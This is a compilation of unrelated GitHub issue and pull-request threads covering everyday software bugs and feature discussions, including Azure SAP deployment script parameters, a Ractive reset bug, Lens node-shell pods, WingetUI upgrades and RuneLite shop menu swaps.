2 parameters are missing in Linux portion of the code for deploy control plane
Original Code:
az logout
az login
cd ~/Azure_SAP_Automated_Deployment/WORKSPACES

    export subscriptionId="<subscriptionId>"
    export         spn_id="<appId>"
    export     spn_secret="<password>"
    export      tenant_id="<tenantId>"
    export       env_code="MGMT"
    export    region_code="<region_code>"

    export DEPLOYMENT_REPO_PATH="${HOME}/Azure_SAP_Automated_Deployment/sap-automation"
    export ARM_SUBSCRIPTION_ID="${subscriptionId}"

    ${DEPLOYMENT_REPO_PATH}/deploy/scripts/prepare_region.sh                                                                                \
        --deployer_parameter_file DEPLOYER/${env_code}-${region_code}-DEP00-INFRASTRUCTURE/${env_code}-${region_code}-DEP00-INFRASTRUCTURE.tfvars  \
        --library_parameter_file LIBRARY/${env_code}-${region_code}-SAP_LIBRARY/${env_code}-${region_code}-SAP_LIBRARY.tfvars                      \
        --subscription "${subscriptionId}"                                                                                \
        --spn_id "${spn_id}"                                                                                \
        --spn_secret "${spn_secret}"                                                                                \
        --tenant_id "${tenant_id}"                                                                                \
        --auto-approve

2 more parameters required :
export CONFIG_REPO_PATH="${HOME}/Azure_SAP_Automated_Deployment/sap-automation-samples/Terraform/WORKSPACES"
export SAP_AUTOMATION_REPO_PATH="${HOME}/Azure_SAP_Automated_Deployment/sap-automation"

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: c00bf88e-38bf-eaa8-923a-aaa94c635447
Version Independent ID: b27a7fbd-decb-8306-ac46-ea18a6d17e96
Content: About Control Plane deployment for the SAP on Azure Deployment Automation Framework
Content Source: articles/sap/automation/deploy-control-plane.md
Service: sap-on-azure
Sub-service: sap-automation
GitHub Login: @KimForss
Microsoft Alias: kimforss

@RustyNails8
Thanks for your feedback! We will investigate and update as appropriate.

Hi @RustyNails8
Thank you for bringing this to our attention. Already this case raised and also PR has been raised for same issue, so content author will review and update as appropriate. You can follow-up in the below thread.
https://github.com/MicrosoftDocs/azure-docs/pull/105195
Duplicate of #105195

@RustyNails8
We are going to close this thread, if there are any further questions regarding the documentation, please tag me in your reply and we will be happy to continue the conversation.


Add call to access the mcu unique id. Expose via the 'ver' command.

This is prep for verifying calibration parameters against the hardware they were gathered on.

Cool, looking good!

Applied via cherry-pick, thanks!


Remove deprecation for V1

We can remove this deprecation now that we're about to tag a V1

Already taken care of here: https://github.com/vapor/queues/pull/64/files#diff-bc532488367b0e1ea8dcc1a8b7e17103L6
Thanks!


Component reset() does not reset arrays

If you initialize a ractive component with array data, reset() will not change array values back to their initial state. In other words:
var C = Ractive.extend({
  data: {ary: []}
});
c = new C();
c.push('ary', 5)
c.reset()
c.get('ary') // =>  [5]

See the console output from this fiddle for a slightly more detailed example. Note that other non-array properties DO reset as expected.
I noticed this when attempting to override an instance of a Ractive component in my app, where the new instance inherited the array data value from the previous instance. That behavior is also represented in the fiddle. I then tried to use reset as a band-aid, but that didn't work either. For now, I have solved it by setting my data in oninit rather than as a property of the component.
I am unclear if this is a bug, the expected behavior for arrays, or simply not the correct usage of reset.

I was in the wrapper code yesterday, and I remember a test failed if the wrapper value was not recycled after teardown! I'll need to go back and have a look...

I was going to say that a good solution to this problem is to use a function for the component's data property, so that it gets created anew for each instance. There really isn't a good way to reset non-primitive values (i.e. arrays and objects) back to some 'initial' value if you've modified the array itself - one of the reasons immutable data is so appealing.
But it turns out that there's a bug somewhere - I forked the fiddle, replacing the data object with a data function, and it's throwing an error. Marking this accordingly...

I've been looking at the data configuration code for a while now and I'm ashamed to say I'm struggling to understand it (and hence fix it). It seems we do different things depending on various factors - whether we're extending from a class that has default data, whether that default data is an object or a function, whether it's a POJO, and so on.
I suppose this is our own fault for nobly trying to make everything Just Work, and I'm wondering how we might bring it under control. The alarming part is I wouldn't be able to explain how data gets inherited other than in non-exotic cases, which suggests either a) it's too complex or b) I'm too simple. Will have a bit of a poke and see what falls out.

@Rich-Harris take a look at #1762 and my comments there if you haven't yet. IMO, things are rather simplified now, with the exception of the model return you mentioned.

@martypdx thanks, I wasn't aware of #1762. It definitely is simpler, though is it confusing that sometimes the child takes precedence and sometimes the parent does? Is there even a use case for instantiating with a data function?
There's some code in that module that doesn't appear to do anything - presumably leftover from before - so I'm slimming things down even further over on #1767.

It definitely is simpler, though is it confusing that sometimes the child takes precedence and sometimes the parent does? Is there even a use case for instantiating with a data function?

Was based on this test. Not sure when that test was introduced, but possibly recently?

Looks like the history got lost in a refactor! I can't remember the backstory to it

Thanks!


Update inscriptions.json

Must the person who submitted it to update it. @fullmoonbirds

bloudraad will submit the update?


Fix for when there are two buses departing from the same time and stop

I think 'next_datetime' is always that of the last record returned, but that selection is based on time_gte. Won't that guarantee duplication of the last record? You probbaly want time_gt, but that will confuse anyone using datetime_from themselves.

I think the logic I coded (but correct me if I'm wrong please) is that 'next_datetime' is the last record retrieved (but not returned). The app always retrieve n+1 records so that it uses the n+1 datetime record as next_datetime but only returns n results. Thus we ensure that the next API call starts by the previous n+1 result. (There is also extra code in case n and n+1 have the same datetime in which case both are popped from the array and their datetime is returned as next_datetime)

There are two occasions when 0 results can be returned - when there are none left for today, and (unlikely but possible) when all the results that would have been returned would have had the same time.

Correct

How can a caller tell the difference?

It can't at the moment, we can include something in the result like a next_day flag or something but I'm not sure that is useful for anyone and may confuse them more?

think the logic I coded (but correct me if I'm wrong please) is that 'next_datetime' is the last record retrieved (but not returned). The app always retrieve n+1 records so that it uses the n+1 datetime record as next_datetime but only returns n results. Thus we ensure that the next API call starts by the previous n+1 result. (There is also extra code in case n and n+1 have the same datetime in which case both are popped from the array and their datetime is returned as next_datetime)

You are right - I'd failed to appreciate the subtlety of the ordering of
            next_datetime = timetable[-1].time
            timetable = timetable[:-1]

There are two occasions when 0 results can be returned - when there are none left for today, and (unlikely but possible) when all the results that would have been returned would have had the same time.
Correct
How can a caller tell the difference?
It can't at the moment, we can include something in the result like a next_day flag or something but I'm not sure that is useful for anyone and may confuse them more?

Basically this (all the requested results and the one after them have the same time) isn't going to happen for any reasonable number of requested results so it's hardly worth losing sleep over. You could leave it as it is (though it needs documenting) or you could throw an exception (which would also need documenting) or you could retrieve and potentially return more records until you find a date change or hit the end of the day. Any are fine by me.

added documentation


Potential bug in version requirement error message

This line will likely fail, because f-string is not introduced prior to Python 3.6 :)
https://github.com/vatlab/SoS/blob/a54b53e90f8effbd75fef01597d45ea7f7014f2e/src/sos/_version.py#L30

Quite interesting observation, thanks!


Use argv[0] for the program name in h3ToHier

This would print one of the arguments as the program name when printing some error messages.

Coverage remained the same at 100.0% when pulling bdc43db4dd14df833c0590b55dfc431066032ce2 on isaacbrodsky:argv-0-for-program-name into caee920de334f12db562c836d690470ab7f88d90 on uber:master.


Add better handling of traces in CLI

Especially handling errors has to be tested and improved.

Is there any particular area you are thinking of?


Fix more issues in tools docs

See the commits for list of fixed issues

Whoops!
There were 7 warnings that will prevent this PR from being merged. Please take a look, and either fix, or provide a justification for why they can't be fixed.
WARNINGS
src/content/en/tools/chrome-devtools/console/console-reference.md - No wf_blink_components field found in metadata. Add if appropriate.
src/content/en/tools/chrome-devtools/index.md#L5 - WF Tag wf_updated_on must be within the last 7 days.
src/content/en/tools/chrome-devtools/index.md - No wf_blink_components field found in metadata. Add if appropriate.
src/content/en/tools/lighthouse/audits/https.md#L5 - WF Tag wf_updated_on must be within the last 7 days.
src/content/en/tools/lighthouse/audits/https.md - No wf_blink_components field found in metadata. Add if appropriate.
src/content/en/updates/2017/08/devtools-release-notes.md - No wf_blink_components field found in metadata. Add if appropriate.
src/content/en/updates/2017/08/devtools-release-notes.md#L300 - Updates post is missing comment widget: {% include "comment-widget.html" %}


auto spiderfy cluster when maxZoom

is it possible ?

Duplicate of https://github.com/Leaflet/Leaflet.markercluster/issues/744

The solution for me was
                      if (marker.__parent._group != null) {
                        const layer = marker.__parent._group._featureGroup._layers;
                        for(let i in marker.__parent._group._featureGroup._layers) {
                          if (layer[i]._childCount != null) {
                            layer[i].spiderfy();
                            break;
                          }
                        }
                      }
                      marker.openPopup();

no cluster.fire('clusterclick') is needed


Make moving to new versions of submodules easy

Updating to the latest version of submodules should be one command.

No longer blocked: https://github.com/dotnet/corefx/pull/25208 upgraded BuildTools over the hump.

Implemented in https://github.com/dotnet/source-build/pull/254. Now I can use it to hook up auto-submodule-update PRs (https://github.com/dotnet/source-build/issues/269).


Bump Go and k8s versions in .prow.yaml

What this PR does / why we need it:

Bump Go version to 1.14.4
Bump kubeone-e2e image version to 0.1.8
Bump Kubernetes versions to the latest patch releases

Does this PR introduce a user-facing change?:
NONE

/assign @kron4eg

/hold
for patch releases to become available
the jobs are going to fail mostly like

@xmudrii jobs didn't failed because jobs wasn't launched :D
/lgtm

/hold cancel


Clear button autosuggest

Fixes #238
Updates TextBox colors
Pre-launch Checklist

[ ] I have updated CHANGELOG.md with my changes
[ ] I have run "optimize/organize imports" on all changed files
[ ] I have added/updated relevant documentation

https://github.com/bdlukaa/fluent_ui/issues/238#issuecomment-1078703536

@bdlukaa Although I have also had this issue I have seen another that may be related. When an element is chosen from the drop-down list, a change of type TextChangedReason.suggestionChosen is NOT being generated; instead TextChangedReason.userInput is always sent

there ia a problem described in the bug #238 and it is still exists now;
described:When clicking the clear button the onPressed callback is never called.
expected:after click on the newly appeared clear button on the right of the field, the callback function onpressed or onChanged should be called;


Fix rendering of external URL in logo.link option

This is a fairly trivial fix: An incorrect comment end tag in navbar-logo.html caused external links in the logo.link option to be rendered as internal links.
Added a simple unit test checking the output URL.

Happy to contribute, thanks for the awesome theme!


Split extension

Codecov Report

Merging #33 (253f001) into master (6dea882) will increase coverage by 0.61%.
The diff coverage is 98.88%.

@@            Coverage Diff             @@
##           master      #33      +/-   ##
==========================================
+ Coverage   83.30%   83.92%   +0.61%
==========================================
  Files          16       23       +7
  Lines        1402     1456      +54
==========================================
+ Hits         1168     1222      +54
  Misses        234      234

Impacted Files
Coverage Δ

include/stellar/stellar_extension.hpp
74.71% <ø> (-7.01%)
:arrow_down:

include/stellar/stellar_index.hpp
100.00% <ø> (ø)

...clude/stellar/extension/extension_end_position.hpp
50.00% <50.00%> (ø)

include/stellar/app/stellar.main.tpp
77.27% <100.00%> (ø)

...de/stellar/extension/align_banded_nw_best_ends.hpp
100.00% <100.00%> (ø)

include/stellar/extension/longest_eps_match.hpp
100.00% <100.00%> (ø)

include/stellar/stellar.hpp
91.48% <100.00%> (-0.75%)
:arrow_down:

include/stellar/stellar_database_segment.hpp
100.00% <100.00%> (ø)

include/stellar/stellar_query_segment.hpp
100.00% <100.00%> (ø)

include/stellar/stellar_query_segment.tpp
100.00% <100.00%> (ø)

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f829f1a...253f001. Read the comment docs.


Marker testID prop not visible as accessibility identifier

Bug report
Summary
The defined testID property on a Marker gets lost. It is not visible as the accessibility identifier when running the app on the iOS simulator and inspecting the view hierarchy. Therefore i.e. e2e testing using detox is not possible.
Environment info
react: 16.13.1
react-native: 0.63.3
react-native-maps: 0.27.1
I'm using AppleMaps (DEFAULT_PROVIDER)
react-native info output:
System:
    OS: macOS 11.0.1
    CPU: (12) x64 Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
    Memory: 171.25 MB / 16.00 GB
    Shell: 3.2.57 - /bin/bash
  Binaries:
    Node: 14.12.0 - /usr/local/bin/node
    Yarn: 1.22.5 - /usr/local/bin/yarn
    npm: 6.14.8 - /usr/local/bin/npm
    Watchman: 4.9.0 - /usr/local/bin/watchman
  Managers:
    CocoaPods: 1.9.3 - /usr/local/bin/pod
  SDKs:
    iOS SDK:
      Platforms: iOS 14.0, DriverKit 20.0, macOS 11.0, tvOS 14.0, watchOS 7.0
    Android SDK:
      API Levels: 28, 29, 30
      Build Tools: 28.0.3, 29.0.2, 29.0.3, 30.0.0
      System Images: android-28 | Intel x86 Atom_64, android-28 | Google APIs Intel x86 Atom_64, android-30 | Google APIs Intel x86 Atom
      Android NDK: Not Found
  IDEs:
    Android Studio: 4.0 AI-193.69<IP_ADDRESS>14223
    Xcode: 12.0/12A8169g - /usr/bin/xcodebuild
  Languages:
    Java: 1.8.0_261 - /usr/bin/javac
    Python: 2.7.16 - /usr/bin/python
  npmPackages:
    @react-native-community/cli: Not Found
    react: 16.13.1 => 16.13.1
    react-native: 0.63.3 => 0.63.3
  npmGlobalPackages:
    *react-native*: Not Found

Steps to reproduce
$ git clone https://github.com/ja-ka/react-native-maps-marker-test-id.git
$ cd react-native-maps-marker-test-id
$ yarn install
$ npx pod-install
$ open ios/MarkerTestIDExample.xcworkspace/

Build the project and check the hierarchy debug view.
Describe what you expected to happen:
When selecting one of the two markers in the hierarchy debug view, the accessibility identifier should contain the value marker.
Describe what actually happens:
Defined testID property is not visible in the view hierarchy in Xcode, the accessibility identifier is null.
Reproducible sample code
https://github.com/ja-ka/react-native-maps-marker-test-id

Still reproducible.

Any news on this?

Why was this bug closed?


Please add description to *.list files in README.md

Hello!
Stumbled on this project via reddit. Very interesting! Had some bad luck with youtube ad blocking via Pi-hole in the past (overblocking - video not starting cause ad and video is located on same server). Haven't tested your lists yet, but I'm looking forward to.
Could you please provide a description in README.md for each list to see what it's ment for?
Cheers!

This is done. Thanks.


Add username next to Logout

Like:
Logout - admin

all good after upgrade

I also have:

looks good!


runtime: extend shims to x86

The android x86 target exposed the fact that the FP16 support routines
were not being emitted for x86, only x86_64.

Replace this paragraph with a description of your changes and rationale. Provide links to external references/discussions if appropriate.

Resolves SR-NNNN.

CC: @stephentyrone

@swift-ci please test


not downloading paid messages

hi
it doesn't download paid messages. is there anyone who can help about this issue?

Can you run with --output debug
You can also run with
--output debug --dupe
to make sure the dupe catcher is not getting the file

I don't understand what you mean, I'm sorry, can you share with visual explanation, I'm new in this field, thank you

ofscraper --output debug
of that doesn't work
ofscraper --output debug --dupe

Post downloading but not downloading locked messages

Have you unlocked them?
Do they show up on your purchase tab on onlyfans.com?

I have a subscription to the user, he only downloads the posts on his wall, except for the locked ones

I have a subscription to the user, he only downloads the posts on his wall, except for the locked ones
and you've unlocked them?

Except for locked messages

Like I said this script can not downloaded locked messages
You will have to unlock them first

Do you know any other way to download it?

You can look
but I doubt there is any public way of downloaded content that is still locked


"New Default Notebook" not loading customized version

I'm trying to customize my default notebook by adding Python3, R, and HTML.  Also setting it up so it automatically loads particular modules that I use everytime (i.e. numpy, seaborn, pandas, networkx, etc.)
When I click the "New Default Notebook" it doesn't load the one I set up. I made sure to change the correct file.
Joshs-MacBook-Air:~ Mu$ cat ~/.beaker/v1/config/default.bkr
{
    "beaker": "2",
    "evaluators": [
        {
            "name": "HTML",
            "plugin": "HTML",
            "view": {
                "cm": {
                    "mode": "htmlmixed"
                }
            }
        },
        {
            "name": "R",
            "plugin": "R",
            "view": {
                "cm": {
                    "mode": "r"
                }
            }
        },
        {
            "name": "Python3",
            "plugin": "Python3",
            "setup": "%matplotlib inline\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\nimport networkx as nx\nimport pandas as pd\n\nimport os,sys,dill\nfrom collections import *\n\nfrom IPython.display import display\nfrom IPython.core.pylabtools import figsize, getfigs",
            "view": {
                "cm": {
                    "mode": "python"
                }
            }
        }
    ],
    "cells": [
        {
            "id": "section001",
            "type": "section",
            "level": 1,
            "title": "Hello Notebook",
            "collapsed": false,
            "evaluatorReader": false
        },
        {
            "id": "Primordial",
            "type": "code",
            "evaluator": "Python3",
            "input": {
                "body": [
                    "#Primordial",
                    "from scipy.stats import uniform",
                    "from sklearn.datasets import load_diabetes,load_iris",
                    "from sklearn.linear_model import ElasticNet,Lasso,Ridge",
                    "from sklearn.ensemble import RandomForestRegressor,GradientBoostingRegressor",
                    "from sklearn.grid_search import RandomizedSearchCV"
                ],
                "hidden": true
            },
            "output": {
                "state": {},
                "selectedType": "BeakerDisplay",
                "pluginName": "Python3",
                "shellId": "8CC62A3EB84144E6A01C1F125BBFB61C",
                "elapsedTime": 301,
                "dataresult": [
                    0,
                    1,
                    2,
                    3,
                    4,
                    5,
                    6,
                    7,
                    8,
                    9
                ]
            },
            "evaluatorReader": true,
            "lineCount": 6,
            "initialization": true
        },
        {
            "id": "codekR6ki0",
            "type": "code",
            "evaluator": "Python3",
            "input": {
                "body": [
                    "data = load_diabetes()",
                    "M_elasticnet = ElasticNet()",
                    "param_grid={\"alpha\"=uniform(), \"l1_ratio\"=uniform()}",
                    "",
                    ""
                ]
            },
            "output": {
                "state": {},
                "result": "
Init signature: ElasticNet(self, alpha=1.0, l1_ratio=0.5, fit_intercept=True, normalize=False, precompute=False, max_iter=1000, copy_X=True, tol=0.0001, warm_start=False, positive=False, random_state=None, selection='cyclic')\nDocstring:\nLinear regression with combined L1 and L2 priors as regularizer.\n\nMinimizes the objective function::\n\n        1 / (2 * n_samples) * ||y - Xw||^2_2 +\n        + alpha * l1_ratio * ||w||_1\n        + 0.5 * alpha * (1 - l1_ratio) * ||w||^2_2\n\nIf you are interested in controlling the L1 and L2 penalty\nseparately, keep in mind that this is equivalent to::\n\n        a * L1 + b * L2\n\nwhere::\n\n        alpha = a + b and l1_ratio = a / (a + b)\n\nThe parameter l1_ratio corresponds to alpha in the glmnet R package while\nalpha corresponds to the lambda parameter in glmnet. Specifically, l1_ratio\n= 1 is the lasso penalty. Currently, l1_ratio <= 0.01 is not reliable,\nunless you supply your own sequence of alpha.\n\nRead more in the :ref:`User Guide <elastic_net>`.\n\nParameters\n----------\nalpha : float\n    Constant that multiplies the penalty terms. Defaults to 1.0\n    See the notes for the exact mathematical meaning of this\n    parameter.\n    ``alpha = 0`` is equivalent to an ordinary least square, solved\n    by the :class:`LinearRegression` object. For numerical\n    reasons, using ``alpha = 0`` with the Lasso object is not advised\n    and you should prefer the LinearRegression object.\n\nl1_ratio : float\n    The ElasticNet mixing parameter, with ``0 <= l1_ratio <= 1``. For\n    ``l1_ratio = 0`` the penalty is an L2 penalty. ``For l1_ratio = 1`` it\n    is an L1 penalty.  For ``0 < l1_ratio < 1``, the penalty is a\n    combination of L1 and L2.\n\nfit_intercept : bool\n    Whether the intercept should be estimated or not. If ``False``, the\n    data is assumed to be already centered.\n\nnormalize : boolean, optional, default False\n    If ``True``, the regressors X will be normalized before regression.\n\nprecompute : True | False | 'auto' | array-like\n    Whether to use a precomputed Gram matrix to speed up\n    calculations. If set to ``'auto'`` let us decide. The Gram\n    matrix can also be passed as argument. For sparse input\n    this option is always ``True`` to preserve sparsity.\n    WARNING : The ``'auto'`` option is deprecated and will\n    be removed in 0.18.\n\nmax_iter : int, optional\n    The maximum number of iterations\n\ncopy_X : boolean, optional, default True\n    If ``True``, X will be copied; else, it may be overwritten.\n\ntol : float, optional\n    The tolerance for the optimization: if the updates are\n    smaller than ``tol``, the optimization code checks the\n    dual gap for optimality and continues until it is smaller\n    than ``tol``.\n\nwarm_start : bool, optional\n    When set to ``True``, reuse the solution of the previous call to fit as\n    initialization, otherwise, just erase the previous solution.\n\npositive : bool, optional\n    When set to ``True``, forces the coefficients to be positive.\n\nselection : str, default 'cyclic'\n    If set to 'random', a random coefficient is updated every iteration\n    rather than looping over features sequentially by default. This\n    (setting to 'random') often leads to significantly faster convergence\n    especially when tol is higher than 1e-4.\n\nrandom_state : int, RandomState instance, or None (default)\n    The seed of the pseudo random number generator that selects\n    a random feature to update. Useful only when selection is set to\n    'random'.\n\nAttributes\n----------\ncoef_ : array, shape (n_features,) | (n_targets, n_features)\n    parameter vector (w in the cost function formula)\n\nsparse_coef_ : scipy.sparse matrix, shape (n_features, 1) |             (n_targets, n_features)\n    ``sparse_coef_`` is a readonly property derived from ``coef_``\n\nintercept_ : float | array, shape (n_targets,)\n    independent term in decision function.\n\nn_iter_ : array-like, shape (n_targets,)\n    number of iterations run by the coordinate descent solver to reach\n    the specified tolerance.\n\nNotes\n-----\nTo avoid unnecessary memory duplication the X argument of the fit method\nshould be directly passed as a Fortran-contiguous numpy array.\n\nSee also\n--------\nSGDRegressor: implements elastic net regression with incremental training.\nSGDClassifier: implements logistic regression with elastic net penalty\n    (``SGDClassifier(loss="log", penalty="elasticnet")``).\nFile:           ~/anaconda/envs/python3/lib/python3.5/site-packages/sklearn/linear_model/coordinate_descent.py\nType:           ABCMeta
",
                "selectedType": "Html",
                "pluginName": "Python3",
                "shellId": "8CC62A3EB84144E6A01C1F125BBFB61C",
                "elapsedTime": 324,
                "height": 1925
            },
            "evaluatorReader": true,
            "lineCount": 5
        }
    ],
    "namespace": {}
}

Thanks for the report, we'll check it out.

Thanks. Beaker is an awesome resource and idea.  Can't wait until everything is working perfectly!

Turns out there are two things going on here.  First, the FAQ is wrong we changed the name for that file in the last release and I forgot to update the web page.  The right name is .../default-notebook.bkr.
But there's another problem which means you need restart Beaker to pick up that file if you change it.
I fixed the FAQ already the fix for loading it will come out in 1.6 next week.  https://github.com/twosigma/beaker-notebook/issues/3968
Many thanks for pointing that out!

Thanks. Beaker is an awesome resource and idea. Can't wait until everything is working perfectly!

you are so welcome!  please don't hold your breath! 🐠 🐠 🐠
not only do we fix bugs but we put them in too...

https://github.com/twosigma/beaker-notebook-www/commit/4c3d6a4dd7f6fcbbcfb6fe84e6352d696d7b7be4


unable to successfully run tests of this library

Demonstration
clone the project, run yarn install and then yarn test
Expected Behavior
All tests should pass
Actual Behavior
index.spec.ts test is failing due to / in path
Below is the console information

yarn run v1.22.0
$ yarn clean && jest
$ rimraf lib
PASS  schematics/ng-add/tests/issue-168.spec.ts (21.052s)
PASS  schematics/ng-add/tests/add-scripts.spec.ts (21.074s)
FAIL  schematics/ng-add/tests/index.spec.ts (21.127s)
● ng-add › should modify angular.json
expect(received).toEqual(expected) // deep equality

Expected: "projects/ss-angular-cli-app/src/main.single-spa.ts"
Received: "projects\\ss-angular-cli-app\\src\\main.single-spa.ts"

  120 |     expect(ssApp.architect.serve.builder).toBe('@angular-builders/custom-webpack:dev-server');
  121 |
> 122 |     expect(ssApp.architect.build.options.main).toEqual(
      |                                                ^
  123 |       'projects/ss-angular-cli-app/src/main.single-spa.ts',
  124 |     );
  125 |     expect(ssApp.architect.build.options.customWebpackConfig).toEqual({

  at schematics/ng-add/tests/index.spec.ts:122:48
  at step (schematics/ng-add/tests/index.spec.ts:33:23)
  at Object.next (schematics/ng-add/tests/index.spec.ts:14:53)
  at fulfilled (schematics/ng-add/tests/index.spec.ts:5:58)

Test Suites: 1 failed, 2 passed, 3 total
Tests:       1 failed, 13 passed, 14 total
Snapshots:   0 total
Time:        22.928s, estimated 53s
Ran all test suites.
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.

:thinking: I'm on master w/o anything modified.

What OS are you using?

Windows 10

This does appear to be platform-specific. I wonder if the tests should attempt to convert those path strings into path objects (https://nodejs.org/api/path.html#path_path_parse_path) and then compare those.
@varora1406 would you be willing to contribute a fix?

This is resolved with #228, closing this issue now


Bug: Updating all apps either doesn't install updates, or doesn't touch those that require admin

Not even running WingetUI as admin and then running Upgrade all packages works - or there's been a misunderstanding about the feature.
Regarding update all, I saw it as fetching the latest data - and updating all the apps after that, kinda like scoop update * (when enough time has passed by obviously).
EDIT: More specifically, the app Icaros, which requires admin, being a non-portable app on Scoop, was in the list, but no matter if I ran WingetUI with admin or not and picked Upgrade all packages, it was always left untouched.
EDIT2: I also noticed it's missing auto-refresh upon updating the packages - after manually refreshing the corresponding apps show up.
Maybe it should simply be a separate button called "Upgrade all packages and install updates".

If you run on a cmd window
winget upgrade --all
scoop update
do the apps get updated?

I'm not familiar with winget, but to update scoop apps you need an asterisk, like the aforementioned example, otherwise you're just fetching new manifests.
The trick is, scoop update * will only fetch new manifests if enough time has passed - the exact amount I can't recall at the moment, but nevertheless, if what's programmed is:
scoop update
scoop update *
That will ensure things get taken care of on the scoop end no matter the elapsed time between executions.
Please refer to the documentation regarding winget.

fixed


node-shell pods are pending

when opening node-shells and deleting nodes the pods are left behind trying to schedule for a deleted node

I am the same issue on my eks.  Before the solution come out, is there any manual way to solve this problem?  Thanks.

delete the pods

I tried delete the pods, but it will recreate after 2 minutes.

aah, they are created by some controller, check which controller creates them and delete that? Job maybe?

I can't find the related controller on Lens.  The source code shows it use k8sApi.createNamespacedPod() to create the pod
await k8sApi.createNamespacedPod("kube-system", pod).catch((error) => {
      logger.error(error)
      return false
    })

(https://github.com/lensapp/lens/blob/master/src/main/node-shell-session.ts#L57-L93)

is it possible to delete those pods? I have the same issue

I have tried delete those pods manually, but it will be re-created after 2 mins.  I can't figure out any controller for those pods.

is it possible to delete those pods? I have the same issue

I would like to ask for some clarification. What do you mean by "node-shell"s. Do you mean opening the terminal within lens for a node? Because when I do that I do not have access to kubectl so I cannot delete any pods. Or do you mean that while such shell is open, if you then go and try and delete a pod kubernetes continues to try and schedule the pods.
Thank you.

Uh, I think we all need clarification on your clarification.
So node shell is the nsenter feature of lens where you can start a root shell in a node. These nsenter pods are left behind.

On 18. Jun 2020, at 23.34, Sebastian Malton<EMAIL_ADDRESS>wrote:

I would like to ask for some clarification. What do you mean by "node-shell"s. Do you mean opening the terminal within lens for a node? Because when I do that I do not have access to kubectl so I cannot delete any pods. Or do you mean that while such shell is open, if you then go and try and delete a pod kubernetes continues to try and schedule the pods.
Thank you.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

I think some pictures might help us. I have looked up what nsenter is and believe that we are talking about the same thing.

From what I understand the terminal window in the second screenshot is using nsenter. I am just having trouble understanding what you mean by "left behind"

Im unable to delete this pod as well

Do you mean that you cannot delete the pod after closing the tab?

After restarting k8s lens, it seems it stopped trying to install the pod on a non-existing node. Thanks

This has been fixed in the vue_react_migration branch.


Adds menu entry swaps for Buy 1/5/10/50 and Sell 1/5/10/50.

Pull request for issue #11427.

This seems dangerous, especially the default sell setting which some users will undoubtedly forget to reset their setting after selling something in bulk and then end up selling their gear to the general store. Some specific items have had their buy prices artificially inflated and might be hard to get back once sold.
I'm thinking a better solution would be to have an option to remember the last used Sell option and reset it every time you open a shop interface. I can see how the use of a configurable buy option is beneficial to ironmen who needs to run back and forth from shops a lot though.
I don't know of many situations where hopping and selling items are done except for the karamja store, and even then it would only be one extra click per hop in comparison to a lost dfs.

I didn't consider how dangerous this could be if you forgot you left it enabled.
I think the safest way to do it would be to set a buy/sell quantity on a per-item basis and have it activated through some kind of shift-rightclick menu. If you're buying or selling so much of something that you'd go through the effort of setting a sell/buy amount for an item, it's unlikely that buying or selling 1/5/10/50 of that item on accident in the future would cripple you financially.
I don't know if individual buy/sell quantities is considered "overpowered" by jagex but if it is then you could enable the swap for individual items and have the same quantity for each item where this is enabled, with the quantity being set in the plugin config.
Resetting the sell setting every time a shop interface would address a few problematic situations, but if you forget you have this enabled and sell an item, and then try to "value" another item, you'd still sell it accidentally.

I think it's fine to leave in. In my experience, players are buying from shops much more often than selling to them, and if they're selling to shops, it's usually only very specific items to specific shops--usually to those that offer high-alch prices.

@Nightfirecat what exactly are you referring to as being safe to leave in? The way it currently is on my branch (option in config to set buy/sell 1/5/10/50 for all items), dekvall's suggestion (reset this setting every time a shop interface is opened), or my suggestion (remember sell/buy quantity on a per-item basis)?

I mean it should be fine to leave as-is currently PR'd.

I think the risk of accidentally buying or selling something you don't want it still really high - I wouldn't trust myself to use this as it is now even knowing the dangers.
I plan on making this setting unique to each item, but feel free to accept this as it is now if y'all prefer that.

Alright, I'm happy with the way this works now. The swap is now specific to the item and whether it's a Buy or a Sell.

I don't see anything wrong with having a sell-bulk option and a buy-bulk option and just defaulting them to 1?

Reverted all of the item-specific stuff, and changed the swap to only occur when shift is held, to prevent accidental buying or selling.

Why is this PR +557 −462? Please revert everything except the feature you're adding.

Alright, took out everything not strictly related to this change.
The reason this PR looked big earlier was because I:
Took carriage returns out of a file (MenuEntrySwapperConfig.java), since either intellij or git was automatically removing them and that was causing me some problems, and it seemed like most other files in the project had unix-style line endings.
Changed some other unrelated menu entry swaps to be more concise in the same way you suggested for the buy/sell swap in this PR (getting the option string from the Enum instead of a switch statement.
Sorry if doing any of that was a faux pas, or if it should have been done differently.


What do we want to display?

In it's current state, Macchina is limited in the amount of displayed data. We should display more information and this issue is here to collect some ideas:

[ ] Disk Usage
[ ] CPU / GPU Temp
[x] GPU (feature implemented in pci_fetch, and will soon integrate with libmacchina)

[x] Linux
[ ] NetBSD
[ ] macOS
[ ] Windows
[ ] Android

[x] Screens and their resolution

[x] Linux
[x] NetBSD
[ ] macOS
[ ] Windows
[ ] Android

[x] CPU Usage
[x] Local IP address

I personally would like to start by adding the local IP address, as its the easiest of the bunch.

I have a computer with 2 GPUs. neofetch displays both, each having their own line.

An important thing to consider is systems with 2 or more, I think limiting the GPU output to 2 is better than having say four lines of:

GPU0
GPU1
GPU2
GPU3

By default, it could be limited, with an option to show all GPUs.

By default, it could be limited, with an option to show all GPUs.

That's a good idea :bulb:

#53 You can now view your local IP address :rocket:

We should fetch GPUs next!

How about an option for smaller ascii art as seen in ufetch and pfetch ?
I'd also love to see move bars, perhaps to show disk space, screen brightness, volume, swap usage etc.
You could also use bars for things like cpu/gpu temps.
Lastly, an option to choose circles or squares as the bar as well as an option to have shortened (3 letter) names in the left column.
Cheers,

Small ASCII would not look to appealing, it only looks nice on fetchers that fetch a maximum of 5 lines, but it is possible to detect the number of readouts and display a smaller ASCII image if only several readouts are visible.
The other suggestions already do exist, our second theme, "Helium" has three letter keys, and square bars.
Moving bars is not feasible as the point of Macchina is to be a static program that you call, and it writes your information to the terminal as fast as it can, so no while loops.
Storage, backlight and volume information might come in the future, and since they are not yet implemented, each of them needs to be added as a fetchable readout by libmacchina, so Macchina can display it.

